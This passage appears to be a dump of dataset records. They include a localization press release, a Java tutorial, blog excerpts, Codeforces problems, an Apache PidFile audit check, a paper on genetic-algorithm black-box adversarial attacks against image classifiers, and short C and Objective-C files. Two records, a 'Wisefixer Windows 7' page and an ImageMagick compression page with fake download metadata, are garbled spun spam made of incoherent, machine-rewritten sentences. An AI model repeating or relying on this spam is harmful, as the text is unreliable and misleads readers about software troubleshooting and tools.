available to talk with developers and producers about the new product. The President and CTO will also be giving onsite, technical demos and feature walk-throughs to select clients and partners.\nThe XLOC system was created based on industry experience, with the goal of continually enhancing its features to meet constantly evolving market needs, and offering utmost flexibility. XLOC offers a completely customizable management solution for integrating localization into game development to enable simultaneous global shipment. As developers provide their latest assets, XLOC dynamically synchronizes with these localized game resources, proactively generating current, changing asset lists and separating the translation effort from game asset format specifics. This process allows for asset updates to be seen in real-time by developers, translators and publishers, and expedites time to market.\nXLOC is the leading provider of global localization solutions for the international computer and video game industry with more than 30 years of production, programming and development experience. XLOC offers an organizational management system that streamlines localization processes and simplifies the integration of localization into the development cycle. This process saves game developers and publishers significant time and money, and allows them to ship their international SKUs simultaneously across multiple game platforms and languages to realize the full potential of the global marketplace. XLOC is compatible with all major 3D engine technologies and can be leveraged as a stand-alone product or be combined with XLOC’s consulting and support services. Titles built using XLOC include Call of Duty®: World at War; Guitar Hero: World Tour™ and NBA 2K9. To learn more, please visit www.xloc.com.\nContacts for XLOC\nClearImage (for XLOC)\n(919) 863-2393 ext. 223\nClearImage (for XLOC)\n(919) 863-2393 ext. 216", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 623, "token_count_with_eod": 624, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "In Chapter 14, you learned a bit about how JAX-RS fits in the grander scheme of things like Java EE and Spring. In this chapter, there are two similar examples that define the services illustrated in Chapter 2. The first marries JAX-RS with EJB. The second uses Spring to write our JAX-RS services. Instead of using in-memory maps like the earlier examples in the workbook, both examples use the Java Persistence API (JPA) to map Java objects to a relational database.\nThis example shows how you can use JAX-RS with EJB and JPA. It makes use of some of the integration code discussed in Chapter 14.\nTo implement ex14_1, the Wildfly 8.0 Application Server is used to deploy the example. Wildfly is the community version of the JBoss application server. It is Java EE 7–compliant, so JAX-RS 2.0 is already built in. As a result, our Maven pom.xml file needs to change a little to support this example. First, let’s look at the dependency changes in this build file:\nBecause JAX-RS 2.0 is built in, we do not have to add all the RESTEasy third-party dependencies to our WAR file. The\nprovided scope is used to tell Maven that the JAR dependencies are needed only for compilation and to not include them within the WAR.\nNext, we need to include a ...", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "If your head is dizzy with the myriad VS services and APIs, from EnvDTE to Shell.Interop, this should clarify a couple things.\nFirst a bit of background:\nAPIs on EnvDTE (DTE for short, since that’s the entry point service you request from the environment) was originally an API intended to be used by macros. It’s also called the automation API. Most of the time, this is a simplified API that is easier to work with, but which doesn’t expose 100% of what VS is capable of doing. It’s also kind of the “rookie” way of doing VS extensibility (VSX for short), since most hardcore VSX devs sooner or later realize that they need to make the leap to the “serious” APIs.\nThe “real” VSX APIs virtually always start with IVs, make heavy use of uint, ref/out parameters and HResults. These are the APIs that have been evolving for years and years, and there is a lot of COM baggage. ...", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 213, "token_count_with_eod": 214, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "You are given a string $$$s$$$ of length $$$n$$$, containing lowercase Latin letters.\n\nNext you will be given a positive integer $$$k$$$ and two arrays, $$$l$$$ and $$$r$$$ of length $$$k$$$.\n\nIt is guaranteed that the following conditions hold for these 2 arrays:\n\n- $$$l_1 = 1$$$;\n- $$$r_k = n$$$;\n- $$$l_i \\le r_i$$$, for each positive integer $$$i$$$ such that $$$1 \\le i \\le k$$$;\n- $$$l_i = r_{i-1}+1$$$, for each positive integer $$$i$$$ such that $$$2 \\le i \\le k$$$;\n\nNow you will be given a positive integer $$$q$$$ which represents the number of modifications you need to do on $$$s$$$.\n\nEach modification is defined with one positive integer $$$x$$$:\n\n- Find an index $$$i$$$ such that $$$l_i \\le x \\le r_i$$$ (notice that such $$$i$$$ is unique).\n- Let $$$a=\\min(x, r_i+l_i-x)$$$ and let $$$b=\\max(x, r_i+l_i-x)$$$.\n- Reverse the substring of $$$s$$$ from index $$$a$$$ to index $$$b$$$.\n\nReversing the substring $$$[a, b]$$$ of a string $$$s$$$ means to make $$$s$$$ equal to $$$s_1, s_2, \\dots, s_{a-1},\\ s_b, s_{b-1}, \\dots, s_{a+1}, s_a,\\ s_{b+1}, s_{b+2}, \\dots, s_{n-1}, s_n$$$.\n\nPrint $$$s$$$ after the last modification is finished.", "source": "cpt_codeforces", "language": "en", "token_count": 375, "token_count_with_eod": 376, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "There are $$$n$$$ points on the plane, $$$(x_1,y_1), (x_2,y_2), \\ldots, (x_n,y_n)$$$.\n\nYou need to place an isosceles triangle with two sides on the coordinate axis to cover all points (a point is covered if it lies inside the triangle or on the side of the triangle). Calculate the minimum length of the shorter side of the triangle.", "source": "cpt_codeforces", "language": "en", "token_count": 92, "token_count_with_eod": 93, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Wisefixer Windows 7\nIf you receive this error message, you can try to send your data to the Web master. Restarting the server can resolve the error. For more information please contact your provider services like AOL or Agava, Axia NetMedia, addressing things that caused the overloaded server. You will learn how to solve the problem on your own! We found this annoying dll error message when you run a Windows application or more? Try the application that has the problem to uninstall completely. Download, run the file from the original installation as an administrator of your system. Inspection and correction, and the error in the Device Manager, then need to first update / li, then downgrade/uninstall/li. An error message that tells you that an application is unresponsive, as if he had already discovered often is a first indication that something goes wrong. But this may be as a positive sign, because it, that means Windows error reporting in action. Windows error reporting is a feature that can report the problem to Microsoft information. (In fact, even if the programs that are in the Windows problem reports to see the functionality and service CalledWindows error, the term.)Microsoft provides this information for developers of Thatcaused program error (when Microsoft or another supplier), so that they develop the errors that occur frequently and finally to see more solutions to the problems. Windows error reporting has been simplified and improved in the latest versions of Windows. In Windows XP, the system mainly manual; was If an error occurred, they were prompted to send an error report to Microsoft. Through an error report when a Solutionhad is that it is a lengthy and frustrating process to see. In addition to improvements in the Windows error reporting Windows offers Applicationdevelopers to restart a number of integrated features and application, so please to Respondmore that hang it and crashes. An application with this functionality are written Probablyrespond a crash restart and open the document that you are working with. If you are using Microsoft Office 2007 or later you may already have seen these features of the recovery Startenund in action. In the course of time, you can expect to wisefixer windows 7 see more applications to these functions. Not all of the problems that can occur are catastrophic events such as this Causanlos, the Windows error reporting feature to intervene. To a variety of othertypes problems, big or small, Windows 7 contains a library of solving the problems of the participants. You see a list of them opening in the center of the action, if you click on troubleshooting. Immediately you solve Windows errors. .", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "The process ID (PID) file must be properly secured.\nThe PidFile directive sets the file path to the process ID file to which the server records the process id of the server, which is useful for sending a signal to the server process or for checking on the health of the process. If the PidFile is placed in a writable directory, other accounts could create a denial of service attack and prevent the server from starting by creating a PID file with the same name.\nModify the location, permissions, and/or ownership for the PID file folder.\nEnter the following command: more /usr/local/Apache2.2/conf/httpd.conf. Review the httpd.conf file and search for the following uncommented directive: PidFile Note the location and name of the PID file. If the PidFile directive is not found enabled in the conf file, use /logs as the directory containing the Scoreboard file. Verify the permissions and ownership on the folder containing the PID file. If any user accounts other than root, auditor, or the account used to run the web server have permission to, or ownership of, this folder, this is a finding. If the PID file is located in the web server DocumentRoot this is a finding.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 250, "token_count_with_eod": 251, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Mikko Wanzek is currently studying computer science at the undergraduate level, and plans to attend graduate school for computer science. Previously, he was an entrepreneur. He has interests in neuroscience, math, physics and computer science. He is also interested in neuromorphic chips and other next-generation processors. In his spare time, he enjoys bouldering, hiking and canyoneering.\nProject: Algorithmically Generating Complex Structures\nCellular automata use very simple rules and input, yet are able to produce a wide variety of complex structures resembling natural images. I tried to find other algorithms that could generate a wide variety of complex structures. Ultimately, I found cellular automata to be unbeatable at generating a wide variety of complex, natural-appearing structures.\nFavorite 3-Color 2D Totalistic Cellular Automaton\nI chose the 3-color 2D totalistic cellular automata with rule number 1134857631 simply because it had the most interesting appearance of the ones I looked at. It appears to have a large amount of randomness in the interior, and I like that the boundary is random.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 234, "token_count_with_eod": 235, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "You have a long stick, consisting of $$$m$$$ segments enumerated from $$$1$$$ to $$$m$$$. Each segment is $$$1$$$ centimeter long. Sadly, some segments are broken and need to be repaired.\n\nYou have an infinitely long repair tape. You want to cut some pieces from the tape and use them to cover all of the broken segments. To be precise, a piece of tape of integer length $$$t$$$ placed at some position $$$s$$$ will cover segments $$$s, s+1, \\ldots, s+t-1$$$.\n\nYou are allowed to cover non-broken segments; it is also possible that some pieces of tape will overlap.\n\nTime is money, so you want to cut at most $$$k$$$ continuous pieces of tape to cover all the broken segments. What is the minimum total length of these pieces?", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Little penguin Polo adores strings. But most of all he adores strings of length n.\n\nOne day he wanted to find a string that meets the following conditions:\n\n1. The string consists of n lowercase English letters (that is, the string's length equals n), exactly k of these letters are distinct.\n2. No two neighbouring letters of a string coincide; that is, if we represent a string as s = s1s2... sn, then the following inequality holds, si ≠ si + 1(1 ≤ i < n).\n3. Among all strings that meet points 1 and 2, the required string is lexicographically smallest.\n\nHelp him find such string or state that such string doesn't exist.\n\nString x = x1x2... xp is lexicographically less than string y = y1y2... yq, if either p < q and x1 = y1, x2 = y2, ... , xp = yp, or there is such number r (r < p, r < q), that x1 = y1, x2 = y2, ... , xr = yr and xr + 1 < yr + 1. The characters of the strings are compared by their ASCII codes.", "source": "cpt_codeforces", "language": "en", "token_count": 280, "token_count_with_eod": 281, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "You are given two strings $$$s$$$ and $$$t$$$, both consisting only of lowercase Latin letters.\n\nThe substring $$$s[l..r]$$$ is the string which is obtained by taking characters $$$s_l, s_{l + 1}, \\dots, s_r$$$ without changing the order.\n\nEach of the occurrences of string $$$a$$$ in a string $$$b$$$ is a position $$$i$$$ ($$$1 \\le i \\le |b| - |a| + 1$$$) such that $$$b[i..i + |a| - 1] = a$$$ ($$$|a|$$$ is the length of string $$$a$$$).\n\nYou are asked $$$q$$$ queries: for the $$$i$$$-th query you are required to calculate the number of occurrences of string $$$t$$$ in a substring $$$s[l_i..r_i]$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 181, "token_count_with_eod": 182, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Thank you for taking the time to report this bug and helping to make\nI don't understand the problem you're reporting. Please could you\nprovide exact steps to reproduce this bug, explain exactly what\nbehaviour you're expecting, and what is happening instead?\nYou may find it helpful to read \"How to report bugs effectively\"\nOnce done, please change the bug status back to New.\n** Changed in: ldb (Ubuntu)\nStatus: New => Incomplete\nYou received this bug notification because you are a member of Ubuntu\nBugs, which is subscribed to Ubuntu.\nubuntu-bug: python-ldb-dev source package(aka ldb) problem\nTo manage notifications about this bug go to:\nubuntu-bugs mailing list", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 152, "token_count_with_eod": 153, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Character: radical 石, 14 strokes\nShí/dàn/shí, surname Shi, dry measure for grain equal to ten dou 斗/ten pecks/one hundred lite...\nchuí, to hang (down)/droop/dangle/bend down/hand down/bequeath/nearly/almost/to approa...\nTǔ/tǔ, Tu (ethnic group)/surname Tu, earth/dust/clay/local/indigenous/crude opium/unsop...\nrén, ninth of the ten Heavenly Stems 十天干[shí tiān gān]/ninth in order/letter \"I\" or R...\nShì/shì, surname Shi, member of the senior ministerial class (old)/scholar (old)/bachelor...\npiě, radical in Chinese characters (Kangxi radical 4)/see 撇[piě]\nLook up 硾 in other dictionaries\nPage generated in 0.000621 seconds\nIf you find this site useful, let me know!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 225, "token_count_with_eod": 226, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Neural Network Adversarial Attack Method Based on Improved Genetic Algorithm\nThe choice of crossover and mutation strategies plays a crucial role in the search ability, convergence efficiency and precision of genetic algorithms. In this paper, a novel improved genetic algorithm is proposed by improving the crossover and mutation operation of the simple genetic algorithm, and it is verified by four test functions. Simulation results show that, comparing with three other mainstream swarm intelligence optimization algorithms, the algorithm can not only improve the global search ability, convergence efficiency and precision, but also increase the success rate of convergence to the optimal value under the same experimental conditions. Finally, the algorithm is applied to neural networks adversarial attacks. The applied results show that the method does not need the structure and parameter information inside the neural network model, and it can obtain the adversarial samples with high confidence in a brief time just by the classification and confidence information output from the neural network.READ FULL TEXT VIEW PDF\nNeural Network Adversarial Attack Method Based on Improved Genetic Algorithm\nIn real life, optimization problems such as shortest path, path planning, task scheduling, parameter tuning, etc. are becoming more and more complex and have complex features such as nonlinear, multi-constrained, high-dimensional, and discontinuous (Deng et al., 2021)\n. Although a series of artificial intelligence algorithms represented by deep learning can solve some optimization problems, they lack mathematical interpretability due to the existence of a large number of nonlinear functions and parameters inside their models, so they are difficult to be widely used in the field of information security. Traditional optimization algorithms and artificial intelligence algorithms can hardly solve complex optimization problems with high dimensionality and nonlinearity in the field of information security.\nTherefore, it is necessary to find an effective optimization algorithm to solve such problems. In this background, various swarm intelligence optimization algorithms have been proposed one after another, such as Particle Swarm Optimization(PSO)(Kennedy and Eberhart, 1995; Eberhart and Kennedy, 1995),Grey Wolf Optimizer(GWO)(Mirjalili et al., 2014), etc. Subsequently, a variety of improved optimization algorithms also have been proposed one after another. For example, the improved genetic algorithm for cloud environment task scheduling(Zhou et al., 2020), the improved genetic algorithm for flexible job shop scheduling(Zhang et al., 2020), the improved genetic algorithm for green fresh food logistics(Li et al., 2020), etc.\nHowever, these improved optimization algorithms are improved for domain-specific optimization problems, and there is no improvement on the precision, convergence efficiency and generalization of the algorithms themselves. In this paper, the crossover operator and mutation operator of the genetic algorithm are improved to improve the convergence efficiency and precision of the algorithm without affecting the effectiveness of the improved genetic algorithm on most of optimization problems. The effectiveness of the improved genetic algorithm is also verified through many comparison experiments and applications in the field of neural network adversarial attacks. The source code of this paper has been released on Github(Yang, 2021).\nGenetic Algorithm is a series of simulation evolutionary algorithms proposed byHolland and others (1975), and later summarized by DeJong, Goldberg and others. The general flowchart of Genetic Algorithm is shown in Figure 1. The Genetic Algorithm first encodes the problem, then calculates the fitness, then selects the parent and the mother by roulette, and finally generates the children with high fitness by crossover and mutation, and finally generates the individuals with high fitness after many iterations, which is the satisfied solution or optimal solution of the problem. Simple Genetic Algorithm (SGA) uses single-point crossover and simple mutation to embody information exchange between individuals and local search, and does not rely on gradient information, so SGA can find the global optimal solution.\nSzegedy et al. (2013) first demonstrated that a highly accurate deep neural network can be mislead to make a misclassification by adding a slight perturbation to an image that is imperceptible to the human eye, and also found that the robustness of deep neural networks can be improved by adversarial training. Such phenomena are far-reaching and have attracted many researchers in the area of adversarial attacks and deep learning security. Akhtar and Mian (2018)\nsurveyed 12 attack methods and 15 defense methods for neural networks adversarial attacks. The main attack methods are finding the minimum loss function additive term(Szegedy et al., 2013)\n, increasing the loss function of the classifier(Kurakin et al., 2016), the method of limiting the l_0 norm (Papernot et al., 2016), changing only one pixel value (Su et al., 2019), etc.\n. They used the Evolutionary Algorithm to generate high-confidence adversarial images by iterating over direct-encoded images and CPPN (Compositional Pattern-Producing Network) encoded images, respectively. They obtained high-confidence adversarial samples (fooling images) using the Evolutionary Algorithm on a LeNet model pre-trained on the MNIST dataset(LeCun, 1998)\nand on an AlexNet model pre-trained on the ILSVRC 2012 ImageNet dataset(Deng et al., 2009; Russakovsky et al., 2015), respectively.\nNeural network adversarial attacks are divided into black-box attacks and white-box attacks. Black-box attacks do not require the internal structure and parameters of the neural network, and the adversarial samples can be generated with optimization algorithms as long as the output classification and confidence information are known. The study of neural network adversarial attacks not only helps to understand the working principle of neural networks, but also increases the robustness of neural networks by training with adversarial samples.\nThis section improves the single-point crossover and simple mutation of SGA. The fitness function is used as the evaluation index of the crossover link, and the crossover points of the whole chromosome are traversed to improve the efficiency of the search for the best. Selective mutation is performed for each gene of the children’s chromosome, and the mutation rate of the latter half of the chromosome is set to twice that of the first half to improve the global search under the stable situation of local optimum.\nAs shown in algorithm 1 is the Python pseudocode for the improved crossover algorithm. The single-point crossover of SGA is to generate random number within the parental chromosome length range, and then intercept the first half of the father’s chromosome and the second half of the mother’s chromosome to cross-breed the children according to the generated random number. In this paper, the algorithm is improved by trying to cross genes within the parental chromosome length range one by one, calculating the fitness, and picking out the highest fitness children individuals. Experimental data show that such an improvement can reduce the number of iteration and speed up the convergence of fitness.\nAs shown in algorithm 2 is the pseudocode of the improved mutation algorithm. The simple mutation of SGA sets a relatively large mutation rate, and mutates any one gene of the incoming children’s chromosome when the generated random number is smaller than the mutation rate. In this paper, we improve the algorithm by setting a small mutation rate and then selectively mutating each gene of the incoming children’s chromosome. That is, when the generated random number is smaller than the mutation rate, the gene is mutated, and when the traversed gene position is larger than half of the chromosome length, the mutation rate is set to twice the original one (the second half of the gene has relatively less influence on the result). This ensures that the first half of the gene and the second half of the gene have equal chance of mutation respectively, and can mutate at the same time. When the gene length is , the mutation rate of the whole chromosome is , which greatly improves the species diversity and at the same time ensures the stability of the species (in the stable situation of the local optimum improves the global search ability), and experimental data show that it can improve the search ability.\nIn order to evaluate the optimization performance of the proposed improved genetic algorithm, four representative test functions from Wikipedia (2021) are selected in this paper. Since the proposed improved genetic algorithm is mainly used for the neural network adversarial attack problem, and the neural network has multi-dimensional parameters, the low-dimensional test functions are not selected. The expressions of the four test functions are shown in the formula (1)(2)(3)(4), the name, global minimum and search domain of the test functions are shown in Table 1, and the images of the corresponding test functions are shown in Figure 2.\n|Name||Global minimum||Search domain|\nThe hardware environment of the experiment includes 8G of RAM, i7-4700MQ CPU; the software environment includes Windows 10 system, and the version of Python is 3.8.8. In order to compare the optimization performance of IGA, SGA (Simple Genetic Algorithm), PSO (Particle Swarm Optimization) and GWO (Grey Wolf Optimizer) are selected as the experimental objects for comparison experiments in this paper. The parameters of the 4 optimization algorithms are shown in Table 2, and the population size and the number of iterations are kept the same for the convenience of comparison. The other parameters in PSO are as follows: , . The other parameters of GWO are set to typical values: , , .\n|Algorithm||Iteration||Population size||Gene length||Mutation rate|\nThe average convergence curves of each optimization algorithm tested 10 times with the four test functions under the conditions of the same experimental environment are shown in Figure 3. From the figure, it can be seen that: among the four tested functions, IGA is converged before the other three optimization algorithms, and the precision after convergence is better. As shown in Table 3, the comparison results of the four optimization algorithms after 101 iterations are shown. From the table, we can see that the convergence success rate of IGA in the condition with precision of 0.15 among the four test functions is\n. Two independent sample t-test were done using the formula (5), where and\nare the two samples’ variance;and are the two samples’ volume. The P value of the t-test in the table show that IGA performs as well as GWO in and , and far better than the other three optimization algorithms in . It is noteworthy that IGA has a very significant performance advantage in ; its performance in , where the gradient is less pronounced, is not as well as PSO, but is also much better than SGA and GWO.\nAs shown in Figure 4, the population distributions of the four optimization algorithms at the last iteration in the four test functions are shown. Among them, Figure 4(a)4(b)4(c)4(d) is the scatter plot of the distribution of all individuals for each optimization algorithm in 10 experiments, and the formula for the density is shown in (6), . Figure 4(e)4(f)4(g)4(h) shows the scatter plot of the distribution of the optimal individuals for each experiment, and the formula for calculating the intensity is shown in (7), . From the figure, we can see that the density of optimal individuals for each round of experimental IGA is better than the other three optimization algorithms, and also retains a strong global search capability in the last iteration. As shown in Figure 4(d)4(h), SGA, PSO and GWO fall into local optimum several times, among them, PSO has the population distribution near the local optimum in the last iteration, and the global search ability is weak because it does not have the function of adaptive variation.\nIn general, IGA has better iteration efficiency, global search capability, and convergence success rate than the other three optimization algorithms.\nThe MNST dataset (Mixed National Institute of Standards and Technology database)(LeCun, 1998)\nis one of the most well-known datasets in the field of machine learning and is used in applications from simple experiments to published paper research. It consists of handwritten digital images from 0-9. The MNIST image data is a single-channel grayscale map ofpixels, with each pixel taking values between 0 and 255, with 60,000 samples in the training set and 10,000 samples in the test set. The general usage of the MNIST dataset is to learn with the training set first and then use the learned model to measure how well the test set can be correctly classified (Yasue, 2018).\nAs shown in Figure 5(a)\n, the Deep Convolutional Neural Network (DCNN) pre-trained on the MNST dataset(LeCun, 1998) is used as the experimental object in this paper, and the accuracy of the model is with a Loss value of 0.9632. As shown in Figure 5(b), the model of network adversarial attack is shown. The number of populations of a specific size (set to 100 in this paper) is first generated and then input to the neural network to obtain the confidence of the specified labels. To reduce the computational expense, the input is reduced to a binary image of and the randomly generated binary image is iterated using the IGA proposed in this paper. Among the 100 individuals, the fathers and mothers with relatively high confidence are selected by roulette selection, and then the children are generated by using the improved crossover link in this paper, and the children form new population by improving the mutation link until the specified number of iterations. Finally, the individual with the highest confidence is picked from the 100 individuals, which is the binary image with the highest confidence after passing through the neural network.\nAs shown in Figure 6, the confidence after 99 iterations of DCNN is for sample ”2”. Sample ”6” and sample ”4” have the slowest convergence speed, and the confidence of sample ”6” is after 99 iterations, and the confidence of sample ”4” is after 99 iterations.\nThe statistics of the experimental results are shown in Table 4. The binary image of sample ”1” generated after 999 iterations has a confidence of after passing DCNN, which is much higher than the confidence of sample ”1” in the MNIST test set in the DCNN control group. In the statistics of the results after initializing the population with the MNIST test set, because the overall confidence of the population initialized with the test set is higher, the increase in confidence during iteration is smaller. The confidence of the sample selected from the MNIST test set is , and after 10 iterations the confidence of the sample is , and the number ”1” becomes vertical; after 89 iterations the confidence is , and the number ”1 ” has a tendency to ”decompose” gradually.\nAs shown in Figure 7\n, the reason for this situation is probably that the confidence as a function of the image input is a multi-peak function, and the interval in which the test set images are distributed is not the highest peak of the confidence function. This causes the initial population of the test set to ”stray” from some pixels in the images generated by the IGA.\nThe comparison and simulation experiments show that the improved method proposed in this paper is effective and greatly improves the convergence efficiency, global search ability and the convergence success rate. Applying IGA to the field of neural network adversarial attacks can also quickly obtain adversarial samples with high confidence, which is meaningful for the improvement of the robustness and security of neural network models.\nWith the widely application of artificial intelligence and deep learning in the field of computer vision, face recognition has outstanding performance in access control systems and payment systems, which require fast response to the input face image, but this has instead become a drawback to be hacked. For face recognition systems without in vivo detection, using the method in this paper only requires output labels and confidence information can obtain high confidence images quickly. In summary, neural networks have many pitfalls due to their uninterpretability and still need to be considered carefully for using in important areas.\n2009 IEEE conference on computer vision and pattern recognition, pp. 248–255. Cited by: §2.2.\nIEEE Transactions on Evolutionary Computation23 (5), pp. 828–841. Cited by: §2.2.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 3434, "token_count_with_eod": 3435, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "//\n// HQDBHelper.h\n// HQModelDemo\n//\n// Created by 刘欢庆 on 2017/4/12.\n// Copyright © 2017年 刘欢庆. All rights reserved.\n//\n\n#import \n#import \n#if DEBUG\n#define HQLogError(frmt, ...) NSLog(@\"❌[%@:%@ %d] %@ \\n\", \\\n[[NSString stringWithUTF8String:__FILE__] lastPathComponent], \\\nNSStringFromSelector(_cmd), \\\n__LINE__, \\\n[NSString stringWithFormat:(frmt), ##__VA_ARGS__])\n\n#define HQLogInfo(frmt, ...) NSLog(@\"✅[%@:%@ %d] %@ \\n\", \\\n[[NSString stringWithUTF8String:__FILE__] lastPathComponent], \\\nNSStringFromSelector(_cmd), \\\n__LINE__, \\\n[NSString stringWithFormat:(frmt), ##__VA_ARGS__])\n\n#else\n\n#define HQLogError(frmt, ...)\n#define HQLogInfo(frmt, ...)\n#endif\n\n@interface HQDBHelper : NSObject\n+ (FMDatabaseQueue *)queueWithClass:(Class)cls;\n@end", "source": "cpt_stack_code", "language": "code", "token_count": 261, "token_count_with_eod": 262, "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "/**\n * @file\thttpUtil.c\n * @brief\tHTTP Server Utilities\t\n * @version 1.0\n * @date\t2014/07/15\n * @par Revision\n *\t\t\t2014/07/15 - 1.0 Release\n * @author\t\n * \\n\\n @par Copyright (C) 1998 - 2014 WIZnet. All rights reserved.\n */\n\n#include \n#include \n#include \n#include \"httpUtil.h\"\n\nuint8_t http_get_cgi_handler(uint8_t * uri_name, uint8_t * buf, uint32_t * file_len)\n{\n\tuint8_t ret = HTTP_OK;\n\tuint16_t len = 0;\n\n\tif(predefined_get_cgi_processor(uri_name, buf, &len))\n\t{\n\t\t;\n\t}\n\telse if(strcmp((const char *)uri_name, \"example.cgi\") == 0)\n\t{\n\t\t// To do\n\t\t;\n\t}\n\telse\n\t{\n\t\t// CGI file not found\n\t\tret = HTTP_FAILED;\n\t}\n\n\tif(ret)\t*file_len = len;\n\treturn ret;\n}\n\nuint8_t http_post_cgi_handler(uint8_t * uri_name, st_http_request * p_http_request, uint8_t * buf, uint32_t * file_len)\n{\n\tuint8_t ret = HTTP_OK;\n\tuint16_t len = 0;\n\tuint8_t val = 0;\n\n\tif(predefined_set_cgi_processor(uri_name, p_http_request->URI, buf, &len))\n\t{\n\t\t;\n\t}\n\telse if(strcmp((const char *)uri_name, \"example.cgi\") == 0)\n\t{\n\t\t// To do\n\t\tval = 1;\n\t\tlen = sprintf((char *)buf, \"%d\", val);\n\t}\n\telse\n\t{\n\t\t// CGI file not found\n\t\tret = HTTP_FAILED;\n\t}\n\n\tif(ret)\t*file_len = len;\n\treturn ret;\n}", "source": "cpt_stack_code", "language": "code", "token_count": 470, "token_count_with_eod": 471, "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "Hi all! Running into an interesting problem where npm packages aren't being installed because the they are skipped. Looks like it has detected the package as already installed. Thought it was related to this issue: redguide/nodejs#50\nBut doesn't seem to be related because there are zero users that have the package installed. Any tips?", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "ImageMagick Compression Commands. Raw. // Must install ImageMagick first. //This compresses a. GitHub is where people build software. More than 28 million people use GitHub to discover, fork, and contribute to over 85 million projects. 25 Jun ImageMagick provides a fast, simple way to automate image resizing. .. PNG compression in ImageMagick can be configured with three.\n|Published (Last):||19 June 2013|\n|PDF File Size:||20.54 Mb|\n|ePub File Size:||14.69 Mb|\n|Price:||Free* [*Free Regsitration Required]|\nThis option enhances the intensity differences between the lighter and darker elements of the image. See -contrast-stretch for more details. A value of either 0 or results in a complete degree rotation of the image. Print a list of supported imagemagick compress for various options or settings.\nImzgemagick still the simple process of opening the image and saving it is something that just takes too imagemagick compress time. Note imagemagick compress at this time the same threshold dithering map is used imagemagick compress all color channels, no attempt is made to offset or rotate the map for different channels is made, to create an offset printing effect.\nIf more that the required number of coordinate pairs are given for a distortion, the distortion method is ‘least ckmpress fitted to produce the best result for all the coordinate pairs given.\nThe reason that we get a dual output result is because the frequency domain represents iagemagick image using complex numbers, which cannot be imagemagick compress directly. To ensure that it can do this it also ensures that the image has an alpha channel enabled, as per ” -alpha set “, for the imagemagick compress transparent colors, and does not require you to modify the -channel to enable immagemagick channel handling. Essentially -splice imagemagick compress divide the image into four quadrants, separating them by the inserted rows and columns.\nSave time by transforming images in the command line\nLarge dots can be made to look better with a small amount of blurring after being created. It is possible imagemagick compress add -fuzz to make the trim more strict. All points are floating point values. Perform various imagemagick compress operation methods to a ordered sequence imagemagick compress images which may represent either a set of overlaid ‘image layers’, a GIF disposal animation, or a fully-‘coalesced’ animation sequence.\nImages with fewer unique colors than specified by value will have any duplicate or unused colors removed.\nimage processing – Recommendation for compressing JPG files with ImageMagick – Stack Overflow\nUse gamma correction to adjust for this color difference. The frames argument determine how many images to interpolate between each image. As such some colors may be merged together when they originally fell into the same ‘bin’. For example, assume you have a web imagenagick that processes images comprees imagemagick compress the Internet. That is how to determine the color of a point that falls between two, or even four different colored pixels.\nA value of means no change, and any missing values are imagemagick compress to mean This can be used either for ‘super-sampling’ the image for a higher quality result, or for panning and zooming around the image with appropriate viewport changes, or imagemagick compress cropping and resizing.\nIt is equivalent to using the -gravity command-line option, except that it is imagemagick compress in scope to the -draw option in which it appears. ImageMagick uses standard filename globbing, so wildcard expressions may be used to remove more than one profile.\nUse image to composite an image with another image. The process accumulates counts for every white pixel in the binary edge image imagemagick compress every possible orientation for angles from 0 imagemagick compress in 1 deg increments and distance from the center of the image to the corners in 1 px increments.\nAny color that matches within -fuzz color distance of the given color argument, connected to that ‘seed point’ will imagemagick compress replaced with the current -fill color. In this way, imagemagick compress can obtain pieces of other windows that overlap the specified window, and more importantly, you can capture menus or other popups that are independent windows but appear over the specified window.\nThough imagemagick compress is a lot faster, as it avoids all the filter processing of the image. Text is any UTF-8 encoded character sequence.\nThe quality-changing process is pretty good at imsgemagick space while maintaining apparent image quality. The argument to the -evaluate log typically is specified between and 10, depending upon the amount of detail that imagemagick compress wants to bring imagemagick compress in the spectrum. The skewX and skewY primitives skew them with respect to the origin of the main image or the region.\nIf this imagemagick compress is omitted, the JPEG library will comress its own default values. It then computes a new x,y centroid from those coordinates and a new mean.\nIt also does imagemagick compress work well for diagrams or cartoon like images. Larger imagemagick compress produce more visible detail. You can specify as many of these components as needed in any order e. This can also be used to convert a plain grayscale image into a one using the gradient of colors specified. The start and end points produced are then joined with a line segment and the resulting segment of an ellipse is filled. For example, if the value is 1, the effective period is simply the QuantumRange ; but imagemagick compress the value is 2, then the effective period is the half the QuantumRange.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1188, "token_count_with_eod": 1189, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "/*\n** EPITECH PROJECT, 2020\n** my_ftp\n** File description:\n** TODO: add description\n*/\n\n#include \"generic_list.h\"\n\nbool list_add_elem_at_back(list_t *front_ptr, void *elem)\n{\n node_t *new = list_create_node(elem);\n node_t *temp = NULL;\n\n if (!new) return (false);\n if 